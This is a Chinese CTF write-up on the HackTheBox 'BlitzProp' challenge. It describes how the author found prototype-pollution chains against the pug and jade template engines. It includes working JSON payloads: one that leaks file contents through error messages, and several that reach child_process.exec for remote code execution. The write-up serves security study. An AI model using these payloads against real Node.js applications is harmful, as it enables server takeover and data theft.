从一道题开始的pug原型污染链挖掘

robots

 

之前在hackthebox的一次ctf比赛中有一道题考察了原型链污染攻击pug,在做题的时候用AST Injection这种方式又发现了一个未公开的pug&&jade的原型攻击链,和大家分享一下.

 

题目简析

这道题目具体是HackTheBox 2021 Cyber Apocalypse 2021的一道web题,wp和源码可以在下面这个链接里面找到. https://github.com/evyatar9/Writeups/tree/d67484a86ede51e8cdb3ea1b8ed042363c471296/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Web-BlitzProp

题目场景:一个提交表单,用json来传输提交的数据

分析代码,发现代码量也很少,只有两个路由

仔细分析/api/submit部分代码发现用了flat这个库解析传过去的json数据, 题目flat版本是5.0.0, 这个版本存在一个原型链污染漏洞,详情参考 https://snyk.io/vuln/npm:flat . 所以可以post下面的数据成功进入if条件里面:

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild"
}
// Hello guest, thank you for letting us know!

存在原型链污染,题目又没有别的可利用点,所以只能考虑原型链污染打pug.预期解应该是使用POSIX 师傅这条公开链打, https://blog.p6.is/AST-Injection/ . 但是当时我还不知道pug有一个现成的原型攻击链,所以就尝试手动调试挖掘下,就开启我的模板引擎调试之旅.

 

任意文件读取

由于pug是jade换了名字改过来的,我就直接尝试了jade的链子能不能打通,就意外发现报错可用带出部分文件内容.

jade的链子直接打是会报错的:

于是我深入调试分析,直接进入pug.compile函数

跟进compileBody

在compile处下断点

!

发现会调用generateCode插件,再继续跟踪调试到Compiler.compile()

下面这段代码其实就很熟悉了,最终要返回执行的模板函数会存在buf里面,而buf在pug下面这段代码里面又传给了js

之前post的json是:

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
    "{}.__proto__.self":true,
    "line":"global.process.mainModule.require('child_process').exec('calc')"
}

发现报错其实是污染this.options.self改变了程序运行逻辑,下面这段代码

未污染的时候self为undefined值.然后接着调试,发现报错的时候有惊喜,报错的时候有一个filename是undefined,尝试把它污染,污染之后会继续执行后面的代码,否则会直接throw error.

之后发现存在读取文件操作

最后发现会把文件内容拼接到报错信息:

然后在非debug条件下:

payload :

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
    "{}.__proto__.self":true,
    "{}.__proto__.filename":"./flag"
}

但是当时的flag文件是/flagxxxxx后面是随机的,所以这题就没出: (

 

AST Injection

赛后发现pug有现成链子:

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
    "__proto__.block":{
        "type":"Text",
        "line":"process.mainModule.require('child_process').exec('calc')"
    }
}

很好奇这个链子是怎么挖出来的,所以仔细阅读了POSIX这篇文章 . https://blog.p6.is/AST-Injection/

里面讲了一种AST Injection的方法,挖掘了很多模板引擎的原型污染链. 由于还没学编译原理,对模板引擎底层设计也不熟悉,所以感觉这篇文章的精髓也没有理解,只能跟着调试一下.

调试的时候会发现下面这端代码, this.visit,这段代码对于调试过jade RCE链的人来说必定很熟悉,因为jade的恶意代码就是通过污染node.line拼接到模板函数里面的.

但是比赛的时候我并没有调试出node.line为undefined的情况,所以污染这个也不起什么作用,后来发现是格局小了(

不存在node.line为undefined这个条件,我们可以自己创造条件( XD , 如果调试的够仔细的话可以发现在visitCode()函数中存在code.block为undefined的情况.block值不为空就会调用this.visit,进而有node.line为undefined的情况

然后就有熟悉又亲切的undefined line

最终的payload:

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
    "{}.__proto__.block":{
        "type":"Text",
        "line":"process.mainModule.require('child_process').exec('calc')"
    }
}

 

另一条链

如果调试的够仔细的话可以发现村在visitTag()里面也存在tag.code.

污染一下再跟进到visitCode:

发现code.buffer为undefined(默认)或false的时候会把code.val(undefined)push到模板函数,所以可用注入一个visitTag进去

{
    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",
    "__proto__.code":{
        "val":";process.mainModule.require('child_process').exec('calc');"
        }
}

然后就弹出计算器了 : )

另外再说一下,因为jade和pug比较像,所以我尝试了一下在jade模板引擎里面这条链打不打得通,发现可以,payload如下,分析就不贴了,差不多的.

{
    "__proto__":{
        "self":"1",
        "code":{
            "val":";process.mainModule.require('child_process').exec('calc');"}
    }
}

 

总结

我比较菜,只额外找到了另外一条链.POSIX师傅这个思路真的很强,顺着这个思路可能还可以找出一些别的链子,有兴趣的师傅可以调试分析下.
另外报错读取文件也很有趣, 大师傅们可以再深入探索下. 有新的发现可以联系我交流hh .

(完)